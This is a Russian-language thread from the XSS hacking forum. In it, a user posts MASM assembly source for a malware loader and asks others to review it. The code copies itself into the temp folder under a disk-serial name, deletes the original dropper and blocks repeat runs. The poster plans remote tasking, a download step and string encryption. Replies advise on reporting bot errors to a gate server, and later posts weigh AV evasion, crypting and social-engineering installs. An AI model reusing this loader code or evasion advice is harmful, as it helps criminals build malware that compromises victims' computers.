• XSS.stack #1 – первый литературный журнал от юзеров форума

Разработка лоадера

ладно оффтопить, человек положил это сюда, дабы его код покритиковали, провели так сказать аудит, правда он этого почему то не написал ...

- причеши код, не понятно же ничего
- нет проверки ошибок от апих
- выделяй памяти всегда больше под строки
Код:
WCHAR pwc[MAX_PATH + 1]
GetModuleFileName(0, pwc, MAX_PATH);

- раз уж выделяешь память, определи функции alloc/free
- если уж на асме пишешь оптимизируй немного код что ли, типа
Код:
invoke CreateProcess,offset fname,NULL,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,offset cif,offset pi
...
xor eax,eax
invoke CreateProcess,offset fname,eax,eax,eax,eax,NORMAL_PRIORITY_CLASS,eax,eax,offset cif,offset pi
- сокеты и вининет ты юзаешь я так понял только что бы по практиковать и то и другое ?
- вообще разнеси как то код по функциям, дабы стало более наглядно, типа проверка параметров, проверка на установку, установка, цикла получения заданий, выполнение каждого из заданий + всякие мелкие функци как уже говорилось аллок, фри, коннект ( с резольвом ), критфайл и т.д.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
el-
Спасибо за советы.
- раз уж выделяешь память, определи функции alloc/free
в смысле? Написать свои обертки вокруг heapalloc/heapfree?

- сокеты и вининет ты юзаешь я так понял только что бы по практиковать и то и другое ?
Да, больше для практики. Хотя в финальной версии лоадера буду использовать,скорее всего, вининет, ибо он более отлажен, чем мой самопал на сокетах + есть мысль сделать гейт на https.

причеши код, не понятно же ничего
Как можно сделать его более читабельным и понятным, кроме как варианта перевести на Си? Разбить все на процедуры?
 
1, да, можно даже с проверками памяти HeapValid ( может помочь сразу поймать плозие баги ), ведением глобальной переменной с общем колвом выделенной памяти ( при алоке +, при фрии - ), дабы поймать утечки памяти, ну это в больших проектах ...

2, вининте не так хорош как кажется у него то и дело вылазят какие то проблемы, сделай проверку ошибок и вывод их ( лучше удаленно на сервер ), много чего можешь наловить ... особенно на ботах

3, да процедурно, форматирование, если даже не процедруно то разделить на участки, разделенные комментариями с описанием что это такое.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
el-
Еще вопрос - а как грамотней сделать обработку ошибок в боте (в плане, уведомление меня о них)? Как я понял - проверять каждую функцию, что вернула, если ошибка - то писать в лог-файл, и после лог файл отправлять на гейт. Минус тут - какой функцией отправлять лог, если вининет/сокеты могут глючить из-за локальных прокси/натов или еще чего.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
el-
3, да процедурно , форматирование, если даже не процедурно то разделить на участки, разделенные комментариями с описанием что это такое.
За прошедшее время мало занимался этим лоадером и сис.кодингом вообще, так как почти всю зиму и часть весны делали 1 веб проект, потом было не до того. Но кое что сделал. Собственно, разбил на процедуры, сделал обертки для виндовых функций. Пока еще не все переписал, отстуствуют процедуры скачивания и отстука в админку (точнее, оно все есть, но в кривом варианте).

Собственно инклуды и прототипы. ничего нового нет, кроме небольшого макроса для проверки, возвратила ли функция ноль. Если так - то переход на метку еррор (для отладки).
Код:
.386                      
.model flat, stdcall      
option casemap:none

%zeroch macro
test eax,eax
jz @err
endm

get_task proto :dword
ch_multirun proto
bot_install proto
my_alloc proto :dword
my_free proto :dword
lstrdup proto :dword
my_getdir proto lpPath:dword
my_zeromemory proto :dword,:dword
my_getrndkey proto :dword

include \masm32\include\windows.inc
include \masm32\macros\macros.asm
uselib kernel32,masm32,user32,wininet,shell32

Тут тоже коментировать нечего.
Код:
.data
dRndNum dd 0;уникальный ид (берется с инфы диска)
sRndNum db 12 dup(0);cтрока содержащая этот самый ид
hHeap dd 0;хендл нового хипа

Код:
.code
main proc
local first[32]:byte;параметры командной строки - тип операции(удалить, апдейтить)
local second[MAX_PATH]:byte;путь к изначальному файлу

invoke GetCL, 2, addr second; получаем второй элемент командной строки
	.if eax!=1;если его нет, значит запуск без параметров
  jmp @install;переходим на инсталл
	.elseif eax==1;если же с параметрами - тогда обрабатываем их,апдейт или удалить
  invoke GetCL, 1, addr first;получаем 1 параметр
  .if eax==1
  	switch$ addr first
    case$ "del";мб события добавить?
    	invoke Sleep,8000;ждем завершение исходного файла, т.к. мало ли
                    invoke DeleteFile,addr second
                        .if eax==0;удалить не удалось, пусть удалит его система после ребута
                            invoke MoveFileEx,addr second,0,MOVEFILE_DELAY_UNTIL_REBOOT
                        .endif;хотя не будет работать на висте+
    	jmp @installed
  	endsw$
  .endif
	.endif
@install:;инстал в систему, проверка и все такое
invoke bot_install;собственно, инсталл

@installed:;уже заинсталенн, нормальная работа

;тут будет отстук и скачивание файла
invoke my_alloc,MAX_PATH
xor ebx,ebx
mov edi,eax
invoke GetModuleFileName,ebx,edi,MAX_PATH;текущий путь к файлу
invoke MessageBox,0,edi,0,0
ret
main endp

Процедура "инсталла" - точнее копирование себя в темп, удаление исходной версии, проверки.
Код:
bot_install proc
local lpCurfname:dword
local lpNewfname:dword
local lpCurdir:dword
local lpBufcmd:dword

;allocate memory to path
invoke my_alloc,MAX_PATH
	%zeroch
	mov lpCurfname,eax
invoke my_alloc,MAX_PATH
	%zeroch
	mov lpNewfname,eax
	
xor ebx,ebx
invoke GetModuleFileName,ebx,lpCurfname,MAX_PATH;текущий путь к файлу
	%zeroch
invoke lstrdup,lpCurfname;дублируем строку, нужно будет для копирования
	mov lpCurdir,eax
invoke my_getdir,lpCurdir;получаем текущую папку
;путь к темп,добавляем к нему имя фаела
invoke ExpandEnvironmentStrings,chr$("%tmp%"),lpNewfname,MAX_PATH
;!TODO - выбор случайного места для копирования файла. посмотреть, куда может копировать себя гость, и выбирать свитчем

;приводим пути, иначе не удастся сравнить
invoke GetLongPathName,lpNewfname,lpNewfname,MAX_PATH
invoke lstrcmpi,lpCurdir,lpNewfname;сравниваем текущий путь и инсталл путь (папки)
	.if eax == 0;мы уже там, где надо
	;освобождаем память, выходим нафиг
  invoke my_free,lpCurfname
  invoke my_free,lpNewfname
  invoke my_free,lpCurdir
	;TODO - heapvalid 
  jmp @ret
	.else
  invoke ch_multirun;проверка на повторный запуск
  invoke lstrlen,lpCurdir
  	mov ebx,eax
  invoke my_zeromemory,lpCurdir,ebx;обнуляем ненужную больше текущую директорию
  invoke lstrdup,lpNewfname;копируем туда директорию темп, нужно для запуска дальше
  	mov lpCurdir,eax
  	
  invoke lstrcat,lpNewfname,chr$("\");добавить слеш
  invoke lstrcat,lpNewfname,offset sRndNum;добавить рендомное имя файла
  invoke lstrcat,lpNewfname,chr$(".exe");и расширение
  
  invoke CopyFile,lpCurfname,lpNewfname,FALSE;копируем с перезаписью
  	%zeroch
	;формируем строку запроса для удаления, буфер шаблон , путь к дропперу
  
  invoke my_alloc,1024;выделяем память для буфера командной строки
  	mov lpBufcmd,eax
  invoke wsprintf,lpBufcmd,chr$("%s %s"),chr$("del"),lpCurfname
	;!TODO Добавить событие сюда
  invoke ShellExecute,0,chr$("open"),lpNewfname,lpBufcmd,lpCurdir,SW_SPOILER
  invoke my_free,lpBufcmd
  invoke my_free,lpCurfname
  invoke my_free,lpNewfname
  invoke my_free,lpCurdir
  invoke ExitProcess,0;мб не стоит освобождать память?
  jmp @ret
	.endif

@err:
fn MessageBox,0,LastError$(),"bot install",MB_OK
@ret:

ret
bot_install endp

Код:
ch_multirun proc;проверяет на повторный запуск, добавляет атом или завершает работу
invoke my_getrndkey,offset dRndNum
	%zeroch
invoke wsprintf,offset sRndNum,chr$("%08x"),dRndNum;сохраняем его в текст
invoke GlobalFindAtom,offset sRndNum;ищем атом с таким ид
	invoke GetLastError
	.if eax != ERROR_FILE_NOT_FOUND;атом есть, значит не первый запуск
  invoke MessageBox,0,chr$("povtorniy zapusk!"),0,0
  invoke ExitProcess,1
	.endif
invoke GlobalAddAtom,offset sRndNum;иначе добавляем атом в глоб. таблицу

jmp @ret
@err:
fn MessageBox,0,LastError$(),"check multirun",MB_OK
@ret:
ret
ch_multirun endp

Самопальные функции для работы с памятью
Код:
my_alloc proc heapsize:dword
;принимает параметр-размер памяти, возвращает указатель на эту область памяти или 0
xor eax,eax
cmp eax,hHeap
jnz @f;переход на выделение памяти
invoke HeapCreate,0,5000h,30000h;создаем новый хип
	test eax,eax
	jz @err
	mov hHeap,eax
@@:;просто выделяем память
invoke HeapAlloc,hHeap,HEAP_ZERO_MEMORY,heapsize
	test eax,eax
	jnz @ret;если не 0 - выходим, иначе ошибка
@err:
fn MessageBox,0,LastError$(),"my_malloc error",MB_OK
xor eax,eax;возвращаем 0 если ошибка какая-то
@ret:
ret
my_alloc endp

my_free proc pmem:dword
;принимает адрес выделенной памяти, освобождает память и возвращает не 0 если получилось
;TODO - сделать макрос для этой функи, чтобы передавать разное к-тво аргументов сразу
invoke HeapFree,hHeap,0,pmem
	test eax,eax
	jnz @ret;если не 0 - выходим, иначе ошибка
@err:
fn MessageBox,0,LastError$(),"my_malloc error",MB_OK
xor eax,eax;error, return 0
@ret:
ret
my_free endp

my_zeromemory proc uses ecx edi pmem:dword,dsize:dword
;заполняет указанную область нуллбайтом, ничего не возвращает
xor al,al
mov edi,pmem
mov ecx,dsize
cld
rep stosb
ret
my_zeromemory endp

другие функции
Код:
lstrdup proc lpStr:dword
;дублирует строку, спижжено с пони
	invoke	lstrlen, lpStr
	inc	eax
	invoke	my_alloc, eax
	push	eax
	invoke	lstrcpy, eax, lpStr
	pop	eax
	ret
lstrdup endp

my_getdir proc lpPath:dword
;принимает указатель на путь к файлу, возвращает папку без слеша
invoke lstrlen,lpPath
	mov edi,lpPath
	add edi,eax
	mov al,'\'
	mov ecx,eax
	std
	repne scasb
	inc edi; нуллбайт на месте слеша
	mov byte ptr[edi],0
	cld
ret
my_getdir endp

my_getrndkey proc lpRkey:dword
;фактически мини-обертка над 1 функой, записывает серийник диска в переменную
xor eax,eax
invoke GetVolumeInformation,eax,eax,eax,offset dRndNum,eax,eax,eax,eax;форм.рендомный ключ
ret
my_getrndkey endp
end main
Весь код http://pastebin.com/Wj4ah7B7

Ес-но, все строки и имена апи в реальной версии будут пошифрованы. Просто при отладке не хочется с этим заморачиваться.

Все чаще приходят мысли переписать все на Си. Или я хреновый кодер, или на Асме нельзя писать ничего серьезного, но что-то мне даже мой код кажется нечитабельным со стороны - хотя старался сделать его максимально понятным.
 
Quake3
касательно читабельности, стоит лишь распихать макросы/процедуры в один файл, строки/константы в другой файл, и всё заинклудить в main: сразу визуальный оргазм наступит и облегчение от малого кол-ва кода в главном файле)))

Я, непосредственно, столкнулся с его изучением, и всерьез задумался о целесообразности своих действий: всё чаще склоняюсь к советам тов. -el, и переходить на "высокий уровень".

Глянуть трезво, то сколько еще времени будет жить black-деятельность? Неохота нагнетать обстановку, но мне кажется, что "золотой период" зловредописания подходит к своему логическому завершению. "Работать" с годами всё труднее и труднее, а за какую-то перспективу (белую) думать ведь нужно..

Можно даже провести аналогию аля "бандитские 90-е" и "хакинг (по трактовке СМИ) во всех его проявлениях". Где сейчас все бандиты? Правильно, они в легальном секторе, и лишь изредка применяют свои "плохие" навыки, так само и в black-программинге: навыки ведь не убудут, а яро ломится в написании идеального вируса - смысл? Раньше крипт месяцами держался, а сейчас пара часов уже отлично, не то что вирусы)) Новичков будущего, уж точно не будет интересовать данная отрасль (малварь на асме) - прошло время "романтики".

Ассемблер - однозначно мощный инструмент, некий "швейцарский нож" в вирусологии, но нынче всё идёт бешеным темпом. Где-то читал - "жизнь слишком коротка, чтобы писать на ассемблере".

Того багажа знаний, что у вас имеется - вполне достаточно, всего знать невозможно и не нужно (основу ведь знаете, знакомы на практике, вот и отлично).

Просто нужно смирится и прикинуть всю обстановку, чтобы потом не было обидно за зря потраченное время.

Всё таки добро побеждает 'зло'...)
 
От части да, но пока будут наивные пользователи, будет малварь... Драйв-бай станет useless, придумают другой метод инфета массового, либо будут таргетированно инфектить. А знания, да, если они есть, то они есть! Но совершенствоваться никогда не поздно. Знания не могут быть black или white, они ведь знания. Они лишь могут быть использованны в той или иной сфере.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
То, что малварь умирает - это факт. С этим не согласны разве что аверы (ибо им надо пиарится) и разная элита vx. А так - возьмем даже облака. Против этого нет решения, файл закриптован, в облаке не встречается, сразу максимальный алерт, и палево. Я уже молчу про проактивки и прочее.

Асм мне просто нравится, как язык, или привык к нему, или он в самом деле неплохой. Но я пишу больше так, как хобби, для удовольствия чтоли.

А по поводу актуальности - хз даже. Наверное, над всеми этими "обходами" "инжектами" и прочим не особо нужно зацикливаться, ибо оно актуально именно сейчас, а как умрет малварь, эти знания нафиг не будут нужны. С другой стороны, все это дает общее понимание сути программирование, работы процессора, устройства памяти - думаю, что нормальный системный кодер гораздо проще выучит тот же шарп, чем какой-то новичок или веб-кодер.
 
Малварь умирает в текущем её понимании. Почему сейчас столько разговоров о правительственной малвари етц. Потому что уровень там другой. И будущее за малварью высочайшего уровня. Массовый спреад помирает, это да. Таргетированный с приватными сплоитами никогда не пофиксится! Уходят молодые, приходят профиссионалы. А молодые идут курить шарпы етц.
 
demien
Все куда проще, мало новой крови в рядах, все жмутся и держат свои темы при себе, нет такоо как в 2001-2005 годах когда охуенные темы были в паблике, всему виной жадность.

Но сложности порождают решение, так что на хитрую жопу АВ найдем болт с левой резьбой ;). Имхо, для не пробитого трафа надо юзать СИ, по статсе у меня выходит 25% СИ.
 
Верно говоришBomzh. Тут еще прикол в том, что даже зная некоторые темы, не заюзать их простому человеку. Нужен целый тим, каждый мембер которого будет выполнять свою функцию.

СИ, да, пока жива человеческая глупость, инсталлы будут, а глупость не помрет никогда:)
 
Верно говоришBomzh. Тут еще прикол в том, что даже зная некоторые темы, не заюзать их простому человеку. Нужен целый тим, каждый мембер которого будет выполнять свою функцию.

СИ, да, пока жива человеческая глупость, инсталлы будут, а глупость не помрет никогда
Не надо быть кул хацкером, можно просто быть грамотным психологом)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
только чем вам поможет СИ и прочие уловки, если авер/винда тупо не дадут запустить ваш ехе. Например, введут белый список и проги без цифровой подписи не будут запускаться на винде вообще. Или еще что-то в этом роде.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх